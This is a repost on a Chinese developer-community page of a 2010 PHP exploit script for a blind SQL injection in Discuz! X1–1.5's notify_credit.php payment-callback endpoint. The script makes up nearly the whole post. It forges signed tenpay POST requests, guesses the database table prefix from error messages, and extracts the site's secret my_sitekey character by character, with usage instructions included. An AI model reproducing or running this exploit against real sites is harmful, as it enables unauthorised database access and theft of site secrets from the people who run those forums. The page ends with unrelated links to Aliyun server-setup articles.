开发者社区> 技术小美> 正文

DiscuzX1-1.5 Sql 0day!!

简介:
+关注继续查看

 RT~


  1. <?php 
  2. print_r(' 
  3. +---------------------------------------------------------------------------+ 
  4. Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit 
  5. by toby57    2010.11.05 
  6. mail: toby57 at 163 dot com 
  7. team: http://www.wolvez.org 
  8. +---------------------------------------------------------------------------+ 
  9. '); 
  10. if ($argc < 2) { 
  11.     print_r(' 
  12. +---------------------------------------------------------------------------+ 
  13. Usage: php '.$argv[0].' url [pre] 
  14. Example: 
  15. php '.$argv[0].' http://localhost/ 
  16. php '.$argv[0].' http://localhost/ xss_ 
  17. +---------------------------------------------------------------------------+ 
  18. '); 
  19.     exit
  20. error_reporting(7); 
  21. ini_set('max_execution_time', 0); 
  22. $url = $argv[1]; 
  23. $pre = $argv[2]?$argv[2]:'pre_'
  24. $target = parse_url($url); 
  25. extract($target); 
  26. $path .= '/api/trade/notify_credit.php'
  27. $hash = array(); 
  28. $hash = array_merge($hash, range(48, 57)); 
  29. $hash = array_merge($hash, range(97, 102)); 
  30.  
  31. $tmp_expstr = "'"
  32. $res = send(); 
  33. if(strpos($res,'SQL syntax')==false){var_dump($res);die('Oooops.I can NOT hack it.');} 
  34. preg_match('/FROM\s([a-zA-Z_]+)forum_order/',$res,$match); 
  35. if($match[1])$pre = $match[1]; 
  36. $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE ''='"
  37. $res = send(); 
  38. if(strpos($res,"doesn't exist")!==false){ 
  39.     echo "Table_pre is WRONG!\nReady to Crack It.Please Waiting..\n"
  40.     for($i = 1;$i<20;$i++){ 
  41.     $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND LENGTH(REPLACE(table_name,'forum_post_tableid',''))=$i AND ''='"
  42.     $res = send(); 
  43.  
  44.     if(strpos($res,'SQL syntax')!==false){   
  45.  
  46.     $pre = ''
  47.     $hash2 = array(); 
  48.     $hash2 = array_merge($hash2, range(48, 57)); 
  49.     $hash2 = array_merge($hash2, range(97, 122)); 
  50.     $hash2[] = 95; 
  51.     for($j = 1;$j <= $i$j++){ 
  52.     for ($k = 0; $k <= 255; $k++) { 
  53.     if(in_array($k$hash2)) { 
  54.     $char = dechex($k); 
  55.     $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND MID(REPLACE(table_name,'forum_post_tableid',''),$j,1)=0x{$char} AND ''='"
  56.     $res = send(); 
  57.     if(strpos($res,'SQL syntax')!==false){ 
  58.         echo chr($k); 
  59.         $pre .= chr($k);break
  60.     }  
  61.     }  
  62.     }     
  63.     }     
  64.     if(strlen($pre)){echo "\nCracked...Table_Pre:".$pre."\n";break;}else{die('GET Table_pre Failed..');}; 
  65.     }    }    }; 
  66. echo "Please Waiting....\n"
  67. $sitekey = ''
  68. for($i = 1;$i <= 32; $i++){ 
  69.   for ($k = 0; $k <= 255; $k++) { 
  70.     if(in_array($k$hash)) { 
  71.     $char = dechex($k); 
  72. $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND ''='"
  73. $res = send(); 
  74. if(strpos($res,'SQL syntax')!==false){ 
  75.         echo chr($k); 
  76.         $sitekey .= chr($k);break
  77. }}}} 
  78. if(strlen($sitekey)!=32)die("\n".'can NOT get the my_sitekey..'); 
  79. echo "\n".'Exploit Successfully.'."\nmy_sitekey:{$sitekey}"
  80. exit
  81.  
  82. function sign($exp_str){ 
  83.     return md5("attach=tenpay&mch_vno={$exp_str}&retcode=0&key="); 
  84.  
  85. function send(){ 
  86.     global $host$path$tmp_expstr
  87.      
  88.     $expdata = "attach=tenpay&retcode=0&trade_no=%2527&mch_vno=".urlencode(urlencode($tmp_expstr))."&sign=".sign($tmp_expstr); 
  89.     $data  = "POST $path HTTP/1.1\r\n"
  90.     $data .= "Host: $host\r\n"
  91.     $data .= "Content-Type: application/x-www-form-urlencoded\r\n"
  92.     $data .= "Content-Length: ".strlen($expdata)."\r\n"
  93.     $data .= "Connection: Close\r\n\r\n"
  94.     $data .= $expdata
  95.     $fp = fsockopen($host, 80); 
  96.     fputs($fp$data); 
  97.     $resp = ''
  98.     while ($fp && !feof($fp)) 
  99.         $resp .= fread($fp, 1024); 
  100.     return $resp
  101. }   
  102. ?> 

 










本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/579638,如需转载请自行联系原作者

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
阿里云服务器怎么设置密码?怎么停机?怎么重启服务器?
如果在创建实例时没有设置密码,或者密码丢失,您可以在控制台上重新设置实例的登录密码。本文仅描述如何在 ECS 管理控制台上修改实例登录密码。
23543 0
阿里云服务器ECS远程登录用户名密码查询方法
阿里云服务器ECS远程连接登录输入用户名和密码,阿里云没有默认密码,如果购买时没设置需要先重置实例密码,Windows用户名是administrator,Linux账号是root,阿小云来详细说下阿里云服务器远程登录连接用户名和密码查询方法
22274 0
阿里云服务器安全组设置内网互通的方法
虽然0.0.0.0/0使用非常方便,但是发现很多同学使用它来做内网互通,这是有安全风险的,实例有可能会在经典网络被内网IP访问到。下面介绍一下四种安全的内网互联设置方法。 购买前请先:领取阿里云幸运券,有很多优惠,可到下文中领取。
22221 0
如何设置阿里云服务器安全组?阿里云安全组规则详细解说
阿里云安全组设置详细图文教程(收藏起来) 阿里云服务器安全组设置规则分享,阿里云服务器安全组如何放行端口设置教程。阿里云会要求客户设置安全组,如果不设置,阿里云会指定默认的安全组。那么,这个安全组是什么呢?顾名思义,就是为了服务器安全设置的。安全组其实就是一个虚拟的防火墙,可以让用户从端口、IP的维度来筛选对应服务器的访问者,从而形成一个云上的安全域。
19156 0
windows server 2008阿里云ECS服务器安全设置
最近我们Sinesafe安全公司在为客户使用阿里云ecs服务器做安全的过程中,发现服务器基础安全性都没有做。为了为站长们提供更加有效的安全基础解决方案,我们Sinesafe将对阿里云服务器win2008 系统进行基础安全部署实战过程! 比较重要的几部分 1.
11988 0
阿里云服务器如何登录?阿里云服务器的三种登录方法
购买阿里云ECS云服务器后如何登录?场景不同,云吞铺子总结大概有三种登录方式: 登录到ECS云服务器控制台 在ECS云服务器控制台用户可以更改密码、更换系统盘、创建快照、配置安全组等操作如何登录ECS云服务器控制台? 1、先登录到阿里云ECS服务器控制台 2、点击顶部的“控制台” 3、通过左侧栏,切换到“云服务器ECS”即可,如下图所示 通过ECS控制台的远程连接来登录到云服务器 阿里云ECS云服务器自带远程连接功能,使用该功能可以登录到云服务器,简单且方便,如下图:点击“远程连接”,第一次连接会自动生成6位数字密码,输入密码即可登录到云服务器上。
36376 0
+关注
6819
文章
0
问答
文章排行榜
最热
最新
相关电子书
更多
JS零基础入门教程(上册)
立即下载
性能优化方法论
立即下载
手把手学习日志服务SLS,云启实验室实战指南
立即下载